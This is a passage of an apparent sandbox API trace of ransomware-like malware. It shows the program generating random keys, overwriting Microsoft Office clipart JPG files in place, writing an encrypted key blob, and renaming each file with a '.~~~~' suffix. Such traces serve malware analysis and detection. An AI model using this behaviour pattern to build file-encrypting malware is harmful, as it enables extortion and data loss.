	[0108.270] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.270] CloseHandle (hObject=0x144) returned 1
	[0108.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a3b98
	[0108.270] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg.~~~~")) returned 1
	[0108.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a3b98 | out: hHeap=0x300000) returned 1
	[0108.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0108.272] GetLastError () returned 0x0
	[0108.272] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0108.273] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.273] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0108.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0108.273] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22826360146) returned 1
	[0108.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaa3247f0, dwHighDateTime=0x1d60e1e)) 
	[0108.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0108.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0108.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0108.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807ca0
	[0108.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807ca0 | out: hHeap=0x300000) returned 1
	[0108.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a3b98
	[0108.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28285e8
	[0108.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a3b98 | out: hHeap=0x300000) returned 1
	[0108.274] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0108.274] GetLastError () returned 0x0
	[0108.274] GetLastError () returned 0x0
	[0108.275] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0108.275] GetLastError () returned 0x0
	[0108.275] GetLastError () returned 0x0
	[0108.403] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.404] WriteFile (in: hFile=0x144, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0108.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.416] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.416] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.416] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.416] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.417] CloseHandle (hObject=0x144) returned 1
	[0108.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.417] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg.~~~~")) returned 1
	[0108.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0108.418] GetLastError () returned 0x0
	[0108.546] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0108.548] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.548] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0108.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0108.549] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22853878425) returned 1
	[0108.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaa5abf50, dwHighDateTime=0x1d60e1e)) 
	[0108.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807d10
	[0108.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807d10 | out: hHeap=0x300000) returned 1
	[0108.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829390
	[0108.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.550] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0108.550] GetLastError () returned 0x0
	[0108.550] GetLastError () returned 0x0
	[0108.550] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0108.550] GetLastError () returned 0x0
	[0108.550] GetLastError () returned 0x0
	[0108.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe92f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.561] WriteFile (in: hFile=0x130, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x16d08, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x16d08, lpOverlapped=0x0) returned 1
	[0108.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0108.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.563] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.563] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.563] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.563] CloseHandle (hObject=0x130) returned 1
	[0108.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.564] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg.~~~~")) returned 1
	[0108.566] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.566] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.566] GetLastError () returned 0x0
	[0108.566] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0108.568] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.568] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0108.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0108.568] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22855805960) returned 1
	[0108.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaa5d20b0, dwHighDateTime=0x1d60e1e)) 
	[0108.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808170
	[0108.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808170 | out: hHeap=0x300000) returned 1
	[0108.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2828ed0
	[0108.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.571] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0108.571] GetLastError () returned 0x0
	[0108.571] GetLastError () returned 0x0
	[0108.571] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0108.571] GetLastError () returned 0x0
	[0108.572] GetLastError () returned 0x0
	[0108.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff56e2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.575] WriteFile (in: hFile=0x130, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xa91e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0xa91e, lpOverlapped=0x0) returned 1
	[0108.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0108.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.580] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.580] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.580] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.580] CloseHandle (hObject=0x130) returned 1
	[0108.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.580] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg.~~~~")) returned 1
	[0108.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.582] GetLastError () returned 0x0
	[0108.725] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942208) returned 1
	[0108.726] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.726] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0108.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0108.727] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22871680919) returned 1
	[0108.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaa774fd0, dwHighDateTime=0x1d60e1e)) 
	[0108.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39ddc8
	[0108.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ddc8 | out: hHeap=0x300000) returned 1
	[0108.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829be0
	[0108.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.728] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0108.728] GetLastError () returned 0x0
	[0108.728] GetLastError () returned 0x0
	[0108.728] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0108.728] GetLastError () returned 0x0
	[0108.728] GetLastError () returned 0x0
	[0108.732] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffc4bd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.733] WriteFile (in: hFile=0x144, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x3b43, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x3b43, lpOverlapped=0x0) returned 1
	[0108.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0108.735] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.735] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.735] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.735] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.735] CloseHandle (hObject=0x144) returned 1
	[0108.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.735] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg.~~~~")) returned 1
	[0108.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.737] GetLastError () returned 0x0
	[0108.737] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942208) returned 1
	[0108.738] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.738] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0108.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0108.738] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22872863606) returned 1
	[0108.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaa774fd0, dwHighDateTime=0x1d60e1e)) 
	[0108.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39de70
	[0108.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39de70 | out: hHeap=0x300000) returned 1
	[0108.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829558
	[0108.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.739] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0108.740] GetLastError () returned 0x0
	[0108.740] GetLastError () returned 0x0
	[0108.740] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0108.740] GetLastError () returned 0x0
	[0108.740] GetLastError () returned 0x0
	[0108.744] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.744] WriteFile (in: hFile=0x144, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0108.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0108.746] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.746] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
